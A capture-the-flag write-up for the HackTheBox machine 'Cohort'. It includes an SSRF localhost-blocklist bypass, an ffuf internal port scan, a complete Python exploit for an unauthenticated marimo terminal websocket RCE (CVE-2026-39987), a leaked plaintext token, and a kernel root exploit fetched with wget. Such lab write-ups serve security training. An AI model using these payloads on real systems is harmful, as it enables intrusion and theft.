hackthebox / easy / linux

Cohort

Platform
HackTheBox
Difficulty
OS

Summary

Cohort is an easy Linux box built around a single misconfiguration: a Server-Side Request Forgery in the /api/validate endpoint. The internal-domain blocklist is trivially bypassed with the 0.0.0.0/0 aliases, turning the SSRF into an internal port scanner. Two findings matter: an internal marimo notebook on port 8888 and the cohort-edge status endpoint, which leaks the notebook's vhost (nb-1be3782a8afd3ad5.cohort.htb). The vhost is routed externally, so we hit it directly with CVE-2026-39987 (marimo unauthenticated terminal websocket RCE) for a shell as marimo, then reach root via the Pack2TheRoot kernel exploit.

Skills Required

  • SSRF identification and blocklist bypass
  • Internal port scanning through an SSRF
  • Basic websocket exploitation

Skills Learned

  • SSRF 0.0.0.0/0 bypass for localhost filtering
  • Leveraging internal service discovery (status endpoints) for new vhosts
  • Exploiting marimo terminal websocket RCE (CVE-2026-39987)
  • Pack2TheRoot kernel exploit for privilege escalation

Enumeration

A full port scan reveals SSH plus HTTP/HTTPS on nginx, with a wildcard certificate for *.cohort.htb.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-03 10:58 -0400
Nmap scan report for 10.129.159.201
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics
| Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb

After mapping 10.129.159.201 cohort.htb in /etc/hosts, directory enumeration turns up only api and assets. No subdomains or vhosts respond to brute force.

directories - https://cohort.htb
api     [Status: 301]
assets  [Status: 301]

Foothold

SSRF and the localhost bypass

The page at /portal.html contains an obvious SSRF primitive. Testing internal targets shows a blocklist, which is easily worked around.

http://localhost/  # error: internal domains are not allowed, work around it
http://0.0.0.0/     # works
http://0/           # works

Either alias resolves to loopback and returns the internal site's content:

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Cohort Analytics</title>
...
<script src="/assets/app.js" defer></script>
</body>
</html>

Internal port scan with ffuf

The SSRF POST lives at /api/validate. Fuzzing the port in the URL with ffuf maps what's listening locally, filtering out the baseline error response (-fs 86).

ffuf -w /usr/share/wordlists/ports.txt \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://0:FUZZ","format":"json"}' \
  -u "https://cohort.htb/api/validate" -fs 86

80    [Status: 200, Size: 1077]
22    [Status: 200, Size: 58]
443   [Status: 200, Size: 412]
5000  [Status: 200, Size: 192]
8888  [Status: 200, Size: 1515]

Port 8888 stands out: it returns a marimo notebook login page. Marimo has a known RCE (CVE-2026-39987), but the service is bound to loopback and out of reach from our host.

cohort-edge status

The internal nginx on port 80 exposes a useful status endpoint at http://0:80/status.

{"service":"cohort-edge","status":"ok","generated_by":"nginx","upstreams":[
  {"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
  {"name":"insights-api","host":"cohort.htb","path":"/api/","target":"127.0.0.1:5000"},
  {"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb","target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
]}

The notebooks upstream names the vhost for the marimo instance. Mapping nb-1be3782a8afd3ad5.cohort.htb to the box in /etc/hosts gives us direct access to run the CVE.

User Flag

marimo RCE - CVE-2026-39987

The marimo terminal websocket at /terminal/ws accepts connections with no authentication. The exploit connects and feeds commands through the PTY:

import asyncio, websockets, re
import ssl

ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

async def exploit(host):
    uri = f"wss://{host}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"], ssl=ssl_context) as ws:
        print("[+] Connection established without authentication")
        await asyncio.sleep(0.3)

        # Read initial PTY banner
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Send command
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Read frames until timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("nb-1be3782a8afd3ad5.cohort.htb"))

The PTY tears the connection down as soon as the command finishes. Keep the socket alive while a real shell runs: await asyncio.sleep(999999) # keep the connection open indefinitely. Grab the user flag from the shell.

Privilege Escalation

LinPEAS surfaces the marimo process command line, which includes a plaintext token:

marimo  1621  0.2  1.4 291240 59032 ?  Ssl  14:53  0:47 /opt/marimo/venv/bin/python3 /opt/marimo/venv/bin/marimo edit /home/marimo/notebooks/retention.py --headless --host 127.0.0.1 -p 8888 --token --token-password YKQ6iPyO5kusNx0BpVAPfjP5 --skip-update-check --no-sandbox

The token logs us into https://nb-1be3782a8afd3ad5.cohort.htb/, but that path is a rabbit hole. The reliable route to root is the Pack2TheRoot kernel exploit (0xdeadbeefnetwork/Pack2TheRoot). Compile the C file locally, transfer it to the victim with wget, and run it.

Root!

Key Takeaways

  • Localhost blocklists are trivially bypassed - the 0.0.0.0 and 0 aliases sailed past the internal-domain filter.
  • An SSRF is a port scanner - combined with response-size filtering it maps the internal network cheaply.
  • Status endpoints leak topology - cohort-edge/status handed us the internal notebook hostname verbatim.
  • "Internal only" does not mean unreachable - once the vhost was known, reverse-proxy routing made the loopback service public.
  • Read every process command line - plaintext secrets like the marimo token sit right in ps output.
  • Pick the exploit that works, not the shiny one - the notebook token path dead-ended; Pack2Root got root quickly.